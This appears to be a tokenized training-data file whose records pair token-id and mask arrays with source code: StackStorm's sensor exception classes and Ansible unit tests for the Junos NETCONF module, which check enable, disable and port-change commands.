1530, 2145, 275, 14452, 627, 1332, 779, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 23, 93, 779, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 22441, 26, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 22, 22999, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 22441, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 1552, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 21, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 18, 1552, 25004, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 1552, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 20, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 19, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 31, 26, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 19, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 20, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 18, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 18, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 21, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 19, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 17, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 22, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 20, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 8, 26, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 23, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 21, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 1724, 627, 12913, 199, 3, 1361, 8, 2722, 8, 83, 430, 199, 3, 1361, 8, 264, 14, 1431, 8, 32177, 1530, 2145, 12, 308, 680, 3751, 1012, 199, 3, 31696, 8, 83, 9, 199, 199, 2344, 199, 8705, 305, 11131, 25697, 626, 314, 4770, 21182, 2839, 31855, 199, 1733, 316, 367, 298, 21952, 5163, 21115, 2, 1911, 1455, 921, 526, 19491, 86, 14, 66, 7270, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
tonybaloney/st2
st2common/st2common/exceptions/sensors.py
11
1264
# Licensed to the StackStorm, Inc ('StackStorm') under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from st2common.exceptions import StackStormBaseException from st2common.exceptions import StackStormPluginException class SensorPluginException(StackStormPluginException): pass class TriggerTypeRegistrationException(SensorPluginException): pass class SensorNotFoundException(StackStormBaseException): pass class SensorPartitionerNotSupportedException(StackStormBaseException): pass class SensorPartitionMapMissingException(StackStormBaseException): pass
apache-2.0
[ 3, 3909, 370, 314, 13894, 933, 1025, 12, 3277, 661, 4851, 933, 1025, 358, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 504, 410, 18, 2330, 14, 3924, 492, 13894, 933, 1025, 29900, 199, 504, 410, 18, 2330, 14, 3924, 492, 13894, 933, 1025, 5061, 1726, 421, 199, 533, 18474, 5061, 1726, 8, 4851, 933, 1025, 5061, 1726, 304, 272, 986, 421, 199, 533, 24015, 804, 11757, 1726, 8, 10160, 5061, 1726, 304, 272, 986, 421, 199, 533, 18474, 22646, 8, 4851, 933, 1025, 29900, 304, 272, 986, 421, 199, 533, 18474, 13068, 281, 26077, 1726, 8, 4851, 933, 1025, 29900, 304, 272, 986, 421, 199, 533, 18474, 13068, 2956, 7718, 1726, 8, 4851, 933, 1025, 29900, 304, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 3909, 370, 314, 13894, 933, 1025, 12, 3277, 661, 4851, 933, 1025, 358, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 504, 410, 18, 2330, 14, 3924, 492, 13894, 933, 1025, 29900, 199, 504, 410, 18, 2330, 14, 3924, 492, 13894, 933, 1025, 5061, 1726, 421, 199, 533, 18474, 5061, 1726, 8, 4851, 933, 1025, 5061, 1726, 304, 272, 986, 421, 199, 533, 24015, 804, 11757, 1726, 8, 10160, 5061, 1726, 304, 272, 986, 421, 199, 533, 18474, 22646, 8, 4851, 933, 1025, 29900, 304, 272, 986, 421, 199, 533, 18474, 13068, 281, 26077, 1726, 8, 4851, 933, 1025, 29900, 304, 272, 986, 421, 199, 533, 18474, 13068, 2956, 7718, 1726, 8, 4851, 933, 1025, 29900, 304, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
simonwydooghe/ansible
test/units/modules/network/junos/test_junos_netconf.py
21
4220
# (c) 2017 Red Hat Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type from units.compat.mock import patch from ansible.modules.network.junos import junos_netconf from units.modules.utils import set_module_args from .junos_module import TestJunosModule class TestJunosCommandModule(TestJunosModule): module = junos_netconf def setUp(self): super(TestJunosCommandModule, self).setUp() self.mock_lock_configuration = patch('ansible.module_utils.network.junos.junos.lock_configuration') self.lock_configuration = self.mock_lock_configuration.start() self.mock_unlock_configuration = patch('ansible.module_utils.network.junos.junos.unlock_configuration') self.unlock_configuration = self.mock_unlock_configuration.start() self.mock_conn = patch('ansible.module_utils.connection.Connection') self.conn = self.mock_conn.start() self.mock_netconf = patch('ansible.module_utils.network.junos.junos.NetconfConnection') self.netconf_conn = self.mock_netconf.start() self.mock_netconf_rpc = patch('ansible.module_utils.network.common.netconf.NetconfConnection') self.netconf_rpc = self.mock_netconf_rpc.start() self.mock_get_capabilities = patch('ansible.module_utils.network.junos.junos.get_capabilities') self.get_capabilities = self.mock_get_capabilities.start() self.get_capabilities.return_value = {'network_api': 'netconf'} def tearDown(self): super(TestJunosCommandModule, self).tearDown() self.mock_lock_configuration.stop() self.mock_unlock_configuration.stop() self.mock_conn.stop() self.mock_netconf.stop() self.mock_netconf_rpc.stop() self.mock_get_capabilities.stop() def test_junos_netconf_enable(self): self.netconf_conn().get.return_value = '' set_module_args(dict(state='present')) result = self.execute_module(changed=True) self.assertEqual(result['commands'], ['set system services netconf ssh port 830']) def test_junos_netconf_disable(self): out = ''' ssh { port 830; } ''' self.netconf_conn().get.return_value = out set_module_args(dict(state='absent')) result = self.execute_module(changed=True) self.assertEqual(result['commands'], ['delete system services netconf']) def test_junos_netconf_port_change(self): out = ''' ssh { port 830; } ''' self.netconf_conn().get.return_value = out set_module_args(dict(state='present', netconf_port=22)) result = self.execute_module(changed=True) self.assertEqual(result['commands'], ['set system services netconf ssh port 22']) def test_junos_netconf_port_error(self): out = ''' ssh { port 22; } ''' self.netconf_conn().get.return_value = out set_module_args(dict(state='present', netconf_port=0)) result = self.execute_module(changed=True, failed=True) self.assertEqual(result['msg'], 'netconf_port must be between 1 and 65535') def test_junos_netconf_config_error(self): self.netconf_conn().get.return_value = None set_module_args(dict(state='present')) result = self.execute_module(failed=True) self.assertEqual(result['msg'], 'unable to retrieve current config')
gpl-3.0
